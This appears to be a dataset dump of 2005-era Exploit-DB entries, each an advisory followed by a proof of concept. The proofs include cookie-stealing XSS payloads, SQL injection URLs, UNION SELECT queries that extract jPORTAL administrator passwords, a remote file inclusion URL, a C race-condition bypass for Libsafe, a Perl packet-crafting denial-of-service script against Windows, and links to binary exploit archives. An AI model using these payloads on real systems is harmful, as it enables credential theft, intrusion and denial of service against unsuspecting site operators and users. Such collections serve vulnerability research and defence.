QLWD/code_shield huggingface dataset:
标题: Datenbank Module For phpBB - 'Remote mod.php' Cross-Site Scripting EDB-ID: 25433 CVE: 2005-1171 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13210/info

A remote cross-site scripting vulnerability affects the datenbank module for phpbb. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/phpBB/moddb/mod.php?id='>&lt;script&gt;alert(document.cookie)&lt;/script&gt; URL: https://www.exploit-db.com/exploits/25433
标题: eGroupWare 1.0 - 'index.php?cats_app' SQL Injection EDB-ID: 25437 CVE: 2005-1203 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/13212/info
   
eGroupWare is prone to multiple input validation vulnerabilities. A fixed version is available.
   
The issues arise due to a failure of the application to properly validate user-supplied input. These issues result in cross-site scripting and SQL injection attacks. 

http://egroupware/index.php?menuaction=preferences.uicategories.index&cats_app=foobar[SQL] URL: https://www.exploit-db.com/exploits/25437
标题: eGroupWare 1.0 - '/sitemgr-site/index.php?category_id' Cross-Site Scripting EDB-ID: 25435 CVE: 2005-1202 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/13212/info
 
eGroupWare is prone to multiple input validation vulnerabilities. A fixed version is available.
 
The issues arise due to a failure of the application to properly validate user-supplied input. These issues result in cross-site scripting and SQL injection attacks. 

http://egroupware/sitemgr/sitemgr-site/?category_id=4[XSS] URL: https://www.exploit-db.com/exploits/25435
标题: Libsafe 2.0 - Multi-threaded Process Race Condition Security Bypass EDB-ID: 25429 CVE: 2005-1125 类型: DOS 平台: LINUX 发布日期: 2005-04-15 漏洞利用脚本: // source: https://www.securityfocus.com/bid/13190/info

Libsafe will normally kill an application when certain types of memory corruption are detected, preventing exploitation of some buffer overflow and format string vulnerabilities. A weakness has been reported that may allow Libsafe security failsafe mechanisms to be bypassed.

This vulnerability is due to a race condition that may be exposed when Libsafe is used with multi-threaded applications. The result is that Libsafe security features may be bypassed and an attack that would ordinarily be prevented may succeed. It should be noted that this is an implementation error in Libsafe that does not present a security risk unless there is a memory corruption vulnerability in a multi-threaded application on an affected computer.

This issue was reported in Libsafe 2.0-16. Other versions may also be affected. 

#include <pthread.h>
#include <stdio.h>

int ok = 0;

void *func1(void *none)
{
 char buf[8];
 while(1)
 {
  if(!ok)
   continue;
  strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
  break;
 }
 puts("func1 overflow!");
}

void *func2(void *none)
{
 char buf[8];
 ok = 1;
 strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
 puts("func2 overflow!!");
}

int main()
{
 pthread_t t1, t2;
 
 pthread_create(&t1, NULL, &func1, NULL);
 pthread_create(&t2, NULL, &func2, NULL);
 
 pthread_join(t1, NULL);
 pthread_join(t2, NULL);
 
 return 0;
} URL: https://www.exploit-db.com/exploits/25429
标题: OneWorldStore - 'OWProductDetail.asp' SQL Injection EDB-ID: 25426 CVE: 2005-1161 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/13183/info

OneWorldStore is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/owProductDetail.asp?idProduct='SQL_INJECTION
http://www.example.com/owProductDetail.asp?sAction=ProductReview&idProduct='SQL_INJECTION&idCategory=40&sUserName=&sUserEmail=&sRating=1&sBody=dcrab URL: https://www.exploit-db.com/exploits/25426
标题: OneWorldStore - 'OWListProduct.asp' Multiple SQL Injections EDB-ID: 25425 CVE: 2005-1161 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/13182/info

OneWorldStore is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/owListProduct.asp?bSpecials='SQL_INJECTION
http://www.example.com/owListProduct.asp?idCategory='SQL_INJECTION URL: https://www.exploit-db.com/exploits/25425
标题: SPHPBlog 0.4 - 'search.php' Cross-Site Scripting EDB-ID: 25423 CVE: 2005-1135 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/13170/info

sphpBlog is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue is reported to affect sphpBlog version 0.4.0; earlier versions may also be vulnerable. 

http://www.example.com/sphpblog/search.php?q=[XSS]
http://www.example.com/sphpblog/search.php?q=%3Cmarquee%3Ewe+are+a+like%3C%2Fmarquee%3E
http://www.example.com/sphpblog/search.php?q=<a href=http://echo.or.id>echo</a> URL: https://www.exploit-db.com/exploits/25423
标题: RSA Security RSA Authentication Agent For Web 5.2 - Cross-Site Scripting EDB-ID: 25421 CVE: 2005-1118 类型: REMOTE 平台: WINDOWS 发布日期: 2005-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/13168/info

A remote cross-site scripting vulnerability affects the RSA Security RSA Authentication Agent for Web. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks, due to the nature of the application, bypassing authentication requirements may be possible. 

POST /WebID/IISWebAgentIF.dll HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword,
application/x-shockwave-flash, */*
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com
Cache-Control: no-cache
Referer: https://www.example.com/
Content-Length: 135

stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata="><script>alert("Vulnerable")</script>&authntype=2&username=asdf&passcode=jkl%F6 URL: https://www.exploit-db.com/exploits/25421
标题: OneWorldStore - 'OWAddItem.asp' SQL Injection EDB-ID: 25424 CVE: 2005-1161 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/13181/info

OneWorldStore is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/owBasket/owAddItem.asp?idProduct='SQL_INJECTION URL: https://www.exploit-db.com/exploits/25424
标题: IBM Websphere 5.0/5.1/6.0 - Application Server Web Server Root JSP Source Code Disclosure EDB-ID: 25420 CVE: 2005-1112 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/13160/info

A remote JSP source disclosure vulnerability reportedly affects the IBM WebSphere Application Server. This issue is due to a failure of the application to properly handle various requests under certain circumstances.

It should be noted that this issue only arises when the Web serve and application server root directories reside in the same location; this is not the default configuration.

An attacker may leverage this issue to disclose JSP source code, facilitating code theft as well as potential further attacks. 

GET /index.jsp HTTP/1.0
Host: NonExistentHost URL: https://www.exploit-db.com/exploits/25420
标题: All4WWW-HomePageCreator 1.0 - 'index.php' Remote File Inclusion EDB-ID: 25422 CVE: 2005-1117 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/13169/info

All4WWW-Homepagecreator is affected by an arbitrary remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an 'include()' function call.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. 

http://www.example.com/index.php?site=http://www.example.com/some-file URL: https://www.exploit-db.com/exploits/25422
标题: Comersus Cart 4.0/5.0 - 'Comersus_Search_Item.asp' Cross-Site Scripting EDB-ID: 25390 CVE: 2005-1188 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/13125/info

Comersus Cart is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly validate user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/store/comersus_searchItem.asp?strSearch=0&curPage=2">%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25390
标题: XAMPP - 'Phonebook.php' Multiple Remote HTML Injection Vulnerabilities EDB-ID: 25391 CVE: 2005-1077 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/13127/info

XAMPP is prone to multiple remote HTML-injection vulnerabilities because the software fails to properly sanitize user-supplied input before including it in dynamically generated web content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, which may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/xampp/phonebook.php?lastname=Cru3l.b0y&firstname=&phone= URL: https://www.exploit-db.com/exploits/25391
标题: Sun JavaMail 1.3.2 - 'MimeBodyPart.getFileName' Directory Traversal EDB-ID: 25395 CVE: 2005-1105 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/13141/info

Sun JavaMail is prone to a directory traversal vulnerability. This arises because the API fails to properly validate filenames in email attachments received by the applet.

This issue was reported to affect JavaMail 1.3.2, however, earlier versions may also be vulnerable. 

Content-Disposition: ../../../file.ext URL: https://www.exploit-db.com/exploits/25395
标题: Multiple Vendor ICMP Message Handling - Denial of Service EDB-ID: 25389 CVE: 2004-0790 类型: DOS 平台: MULTIPLE 发布日期: 2005-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/13124/info
  
Multiple vendor implementations of TCP/IP Internet Control Message Protocol (ICMP) are reported prone to several denial-of-service attacks.
  
ICMP is employed by network nodes to determine certain automatic actions to take based on network failures reported by an ICMP message.
  
Reportedly, the RFC doesn't recommend security checks for ICMP error messages. As long as an ICMP message contains a valid source and destination IP address and port pair, it will be accepted for an associated connection.
  
The following individual attacks are reported:
  
- A blind connection-reset attack. This attack takes advantage of the specification that describes that on receiving a 'hard' ICMP error, the corresponding connection should be aborted. The Mitre ID CAN-2004-0790 is assigned to this issue.
  
A remote attacker may exploit this issue to terminate target TCP connections and deny service for legitimate users.
  
- An ICMP Source Quench attack. This attack takes advantage of the specification that a host must react to receive ICMP Source Quench messages by slowing transmission on the associated connection. The Mitre ID CAN-2004-0791 is assigned to this issue.
  
A remote attacker may exploit this issue to degrade the performance of TCP connections and partially deny service for legitimate users.
  
- An attack against ICMP PMTUD is reported to affect multiple vendors when they are configured to employ PMTUD. By sending a suitable forged ICMP message to a target host, an attacker may reduce the MTU for a given connection. The Mitre ID CAN-2004-1060 is assigned to this issue.
  
A remote attacker may exploit this issue to degrade the performance of TCP connections and partially deny service for legitimate users.
  
**Update: Microsoft platforms are also reported prone to these issues.
 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25389.tar.gz URL: https://www.exploit-db.com/exploits/25389
标题: WebCT Discussion Board 4.1 - HTML Injection EDB-ID: 25381 CVE: 2005-1076 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/13101/info

WebCT is reportedly affected by an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to using it in dynamically generated content.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

This issue is reported to affect WebCT Version 4.1; other versions may also be affected. 

</pre><table background=java&#x09;script:alert("XSS Warning")>
</table> URL: https://www.exploit-db.com/exploits/25381
标题: Pinnacle Cart - 'index.php' Cross-Site Scripting EDB-ID: 25394 CVE: 2005-1130 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/13138/info

Pinnacle Cart is affected by a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?p=catalog&parent=12&pg="><script>alert(document.domain);</script> URL: https://www.exploit-db.com/exploits/25394
标题: Microsoft Windows XP/2000 - Internet Protocol Validation Remote Code Execution (1) EDB-ID: 25383 CVE: 2005-0048 类型: DOS 平台: WINDOWS 发布日期: 2005-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/13116/info

Microsoft Windows is reported prone to a remote code execution vulnerability. It is reported that the vulnerability manifests when an affected Microsoft platform receives and processes an especially malformed TCP/IP packet.

Reports indicate that the immediate consequences of exploitation of this issue are a denial of service. 

#!/usr/bin/perl
use strict;
use warnings;

my %opts;
use Getopt::Std;
getopts('t:p:', \%opts);
die("Usage: $0 -t TARGET -p PORT\n") unless $opts{t} && $opts{p};

use Net::Pkt;

$Env->debug(3);

my $frame = Net::Packet::Frame->new(
   l3 => Net::Packet::IPv4->new(
      dst     => $opts{t},
      options => "\x03\x27". 'G'x38,
   ),
   l4 => Net::Packet::TCP->new(
      dst => $opts{p},
   ),
);

$frame->send for 1..5; URL: https://www.exploit-db.com/exploits/25383
标题: Multiple Vendor ICMP Implementation - Spoofed Source Quench Packet Denial of Service EDB-ID: 25387 CVE: 2004-0791 类型: DOS 平台: MULTIPLE 发布日期: 2005-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/13124/info

Multiple vendor implementations of TCP/IP Internet Control Message Protocol (ICMP) are reported prone to several denial-of-service attacks.

ICMP is employed by network nodes to determine certain automatic actions to take based on network failures reported by an ICMP message.

Reportedly, the RFC doesn't recommend security checks for ICMP error messages. As long as an ICMP message contains a valid source and destination IP address and port pair, it will be accepted for an associated connection.

The following individual attacks are reported:

- A blind connection-reset attack. This attack takes advantage of the specification that describes that on receiving a 'hard' ICMP error, the corresponding connection should be aborted. The Mitre ID CAN-2004-0790 is assigned to this issue.

A remote attacker may exploit this issue to terminate target TCP connections and deny service for legitimate users.

- An ICMP Source Quench attack. This attack takes advantage of the specification that a host must react to receive ICMP Source Quench messages by slowing transmission on the associated connection. The Mitre ID CAN-2004-0791 is assigned to this issue.

A remote attacker may exploit this issue to degrade the performance of TCP connections and partially deny service for legitimate users.

- An attack against ICMP PMTUD is reported to affect multiple vendors when they are configured to employ PMTUD. By sending a suitable forged ICMP message to a target host, an attacker may reduce the MTU for a given connection. The Mitre ID CAN-2004-1060 is assigned to this issue.

A remote attacker may exploit this issue to degrade the performance of TCP connections and partially deny service for legitimate users.

**Update: Microsoft platforms are also reported prone to these issues. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25387.tar.gz URL: https://www.exploit-db.com/exploits/25387
标题: XAMPP - Insecure Default Password Disclosure EDB-ID: 25393 CVE: 2005-1078 类型: DOS 平台: MULTIPLE 发布日期: 2005-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/13131/info

An insecure default password disclosure vulnerability affects XAMPP. This issue is due to a failure of the application to properly secure access to default passwords.

An attacker may leverage this issue to gain access to the default passwords for many utilities installed by the affected application, including the MySQL 'root' user, the phpMyAdmin 'pma' user, the FTP 'nobody' user and the Tomcat administrator. 

http://www.example.com/xampp/security.php URL: https://www.exploit-db.com/exploits/25393
标题: Microsoft Internet Explorer 5.0.1 - DHTML Object Race Condition Memory Corruption EDB-ID: 25386 CVE: 2005-0553 类型: REMOTE 平台: WINDOWS 发布日期: 2005-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/13120/info

A vulnerability in Microsoft Internet Explorer may allow remote attackers to execute arbitrary code in the context of users visiting malicious Web sites.

This issue presents itself the affected application attempts to process certain script objects, a race condition may lead to the execution of attacker-supplied code. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25386.zip URL: https://www.exploit-db.com/exploits/25386
标题: Multiple Vendor ICMP Implementation - Malformed Path MTU Denial of Service EDB-ID: 25388 CVE: 2004-1060 类型: DOS 平台: MULTIPLE 发布日期: 2005-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/13124/info
 
Multiple vendor implementations of TCP/IP Internet Control Message Protocol (ICMP) are reported prone to several denial-of-service attacks.
 
ICMP is employed by network nodes to determine certain automatic actions to take based on network failures reported by an ICMP message.
 
Reportedly, the RFC doesn't recommend security checks for ICMP error messages. As long as an ICMP message contains a valid source and destination IP address and port pair, it will be accepted for an associated connection.
 
The following individual attacks are reported:
 
- A blind connection-reset attack. This attack takes advantage of the specification that describes that on receiving a 'hard' ICMP error, the corresponding connection should be aborted. The Mitre ID CAN-2004-0790 is assigned to this issue.
 
A remote attacker may exploit this issue to terminate target TCP connections and deny service for legitimate users.
 
- An ICMP Source Quench attack. This attack takes advantage of the specification that a host must react to receive ICMP Source Quench messages by slowing transmission on the associated connection. The Mitre ID CAN-2004-0791 is assigned to this issue.
 
A remote attacker may exploit this issue to degrade the performance of TCP connections and partially deny service for legitimate users.
 
- An attack against ICMP PMTUD is reported to affect multiple vendors when they are configured to employ PMTUD. By sending a suitable forged ICMP message to a target host, an attacker may reduce the MTU for a given connection. The Mitre ID CAN-2004-1060 is assigned to this issue.
 
A remote attacker may exploit this issue to degrade the performance of TCP connections and partially deny service for legitimate users.
 
**Update: Microsoft platforms are also reported prone to these issues. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25388.tar.gz URL: https://www.exploit-db.com/exploits/25388
标题: jPORTAL 2.3.1 - 'Banner.php' SQL Injection EDB-ID: 25382 CVE: 2005-1071 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/13103/info

JPortal is reportedly affected by an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect JPortal version 2.3.1; earlier versions may also be vulnerable. 

The following demonstrates the steps necessary to obtain the administrator login id and password:
go to http://www.example.com/jportal/banner.php and try this:

' UNION SELECT NULL, nick, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL from admins where '1=1

and then:

' UNION SELECT NULL, pass, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL from admins where '1=1 URL: https://www.exploit-db.com/exploits/25382
标题: Invision Power Board 1.x - 'ST' SQL Injection EDB-ID: 25380 CVE: 2005-1070 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/13097/info

Invision Power Board is reported prone to an SQL injection vulnerability. Due to improper filtering of user-supplied data, attackers may pass SQL statements to the underlying database through the 'st' parameter.

Invision Power Board 1.3.1 and prior versions are affected by this issue. 

http://www.example.com/forums/index.php?act=Members&max_results=30&filter=1&sort_order=asc&sort_key=name&st=SQL_INJECTION URL: https://www.exploit-db.com/exploits/25380